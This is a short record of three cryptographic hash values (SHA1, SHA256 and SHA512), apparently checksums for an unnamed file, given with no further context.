SHA1297e4c352cf75c4c9f195294cbf0674d8e89541c
SHA256d081e58cc58747ef97e6975a7d640f95065261c01b213a05b7c11806849237f1
SHA512a312cb9aea6b2a669b515b949f712b077b5e4f23502b60c7a529b5936d3e9e1f38741e1fc33b5daedd9a2d0ee99b32685c310d2d4be79cf4002fda1a941620ce